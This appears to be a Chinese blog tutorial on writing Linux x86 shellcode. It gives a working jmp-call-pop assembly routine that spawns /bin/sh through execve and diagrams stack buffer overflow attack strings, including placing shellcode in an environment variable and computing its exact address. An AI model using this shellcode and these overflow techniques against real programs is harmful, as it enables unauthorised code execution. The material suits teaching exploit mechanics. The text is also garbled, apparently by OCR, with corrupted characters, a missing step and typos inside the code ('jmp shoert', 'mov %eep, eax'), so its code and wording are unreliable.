shellcode编写

一般用5个步骤实现

先用高级语言编写shellcode程序

编译并反汇编这个shellcode程序

从汇编级分析程序执行流程

整理生成的汇编代码

尽量减小他的体积使他可注入

提取opcode,创建shellcode


shellcode地址问题

      在shellcode里使用相对地址需要一些技巧。可以把shellcode在内存中的开始地址或 shellcode的重要元素复制到寄存器里,然后根据寄存器里的地址,精心构造每条指令。
     实现这个方法有一个非常经典的技巧,就是shellcode以一条跳转指令开始,跳转指令跳过 shellcode后转到调用指令,直接跳到调用指令可以设置相对寻址。执行调用指令时,紧跟在调用指令之后的指令的地址将被压入栈。这个技巧有一个关键之处,就是你必须把想作为相对地址的基地址直接放在调用指令之后。那么,当调用指令被执行后,我们的基地址将自动保存在栈上, 而我们不必提前知道这个地址是什么。
     我们最终还是要执行shellcode,因此,在跳转之后,调用指令将立即调用shellcode,而这将把执行控制交给shellcode。最后的修改效果是使紧跟在跳转之后的第一条指令是pop ESI,这条 指令将从栈上弹出基址并把它放入esi。至此,就可以根据esi的距离(或偏移量)来引用shellcode 里的代码。

让我们通过一段伪代码说明整个过程

    jmp short  GotoCall

shellcode:

    pop  esi

    ....

<shellcode meat>

  ...

GotoCall:

    call shellcode

    Db  '/bin/sh'


(1) 第一条指令跳到GotoCall, GotoCall立即执行CALL指令。
(2) CALL指令把字符串(/bin/sh)第一个字节的地址压入栈。
(3) CALL 指令调用shellcode。
(4) shellcode的第一条指令是pop ESI,这条指令将把字符串(/bin/sh)地址的值载入esi。
(5) 至此,就可以用相对地址执行shellcode了。
    既然地址问题解决了,就可以先用伪代码写shellcode,然后用真正的汇编指令替换伪代码, 从而得到梦寐以求的shellcode。在编写过程中,还需要在字符串的尾部保留一些占位符(这里是9B),如下:' /bin/ shJAAAAKKKK'


这些占位符有什么用处呢?我们将把系统调用所需要的3个参数中的2个(将被载入ECX、EDX)保存在这些占位符里。因为字符串的第一个字节的地址保存在ESI里,所以,对于替换和 把这些值复制到寄存器来说,很容易就能确定它们在内存中的位置。另外,可以通过“复制到占位符”方法,用空值有效终止这些字符串。步骤如下。
(1) 用xor EAX, EAX的结果(空值)填充EAX。
(2) 把AL复制到紧挨/bin/sh的字节位置来终止/bin/sh字符串。记住,因为xor EAX, EAX 指令把EAX变为空值,所以AL为空。为了把AL复制到正确的位置,必须算出/bin/sh的开头到J 占位符之间的距离(偏移量)。
(3) 得到保存在ESI里的字符串开头的地址,把它复制到EBX。
(4) 把EBX里的值(现在是字符串开头的地址)复制到AAAA占位符。这是execve系统调用要求的、将被执行的、指向二进制文件的参数指针。需要再次计算距离(偏移量)。
用正确的偏移量把保存在EAX的空值复制到KKKK占位符。
(6) 此时,不再需要用空值填充EAX了,因此,我们把execve的系统调用值(0X0b)复制 到AL。
(7) 把字符串的地址载入EBX。
(8) 把保存在AAAA占位符里的地址(一个指向字符串的指针)载入ECX。
(9) 把保存在KKKK占位符里的地址(一个指向空值的指针)载入EDX。
(10) 执行int 0x80。
将被翻译成shellcode的最终的汇编代码看起来像下面这样:    

    Section  .text

          global _start

    _start:

                 jmp shoert GotoCall

         

shellcode:

    pop  esi

    xor eax,eax

mov byte [esi+7],al

lea ebx,[esi]

mov long [esi+8],ebx

mov long [esi+12],eax

mov byte al,0x0b

mov ebx,esi

lea ecx,[esi+8]

lea edx,[esi+12]

int 0x80


GotoCall:

    call shellcode

    Db  '/bin/shJAAAAKKKK'


缓冲区溢出的攻击技术

低地址         高地址
esp          ebp
| buffer           |返回地址|上个函数找賴
| NOPNOP . . SHELLCODE| RET .. RET
   I                                       I
  +  — - -                    +


上面这种方法一般用尸被溢出的变量比较大,足以容纳Shellcode

低地址                                  高地址
esp              ebp

| buffer            I返回地址  丨   上个函数栈帧
| RET RET      |    RFT      | NOP   NOP SHELLCODE

                              +------>-------+
上面这种方法一般用户被溢出的变量比较小,不足以容纳Shellcode。但是这两种方法 Shellcode的地址都没法确定,传统的方法是在攻击程序里用一个汇编语句来获得当前的esp 的值:
__asm__ (“mov %eep, eax”);
然后加上偏移和在Shellcode前而加上大量nop指令來确保返回地址落入Shellcode对于本地溢出,还有一种更好的办法可以精确定位Shellcode地址:
    

    攻击串3
低地址                              高地址
esp                  ebp
|         buffer       |      返回地址丨上个函数栈帧    I环境变置
| RET .,. RET     |         RET     |                           | SHELLCODE

                                      +------------>----------------+
 这种方法把Shellcode放在环境变量里,这样能精确定位Shellcode

先来看一 下堆栈最幵始的使用情况

堆栈数据
环境变臞
程序路径  <----- 0xbffffffc

0x0000000 <----- 0xc00000000


0xc0000000己经是不可访问地址,也就是所谓的栈底、Oxbffffffc开始的四个字节总是为0,那么用Oxbffffffc减去程序路径长度和后面的结束符0以及Shellcode长度和后面的结束符0就可以精确得到shellcode开始的地址有了这些信息.那么就很容易写出缓冲区溢出漏洞的攻击方法


评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值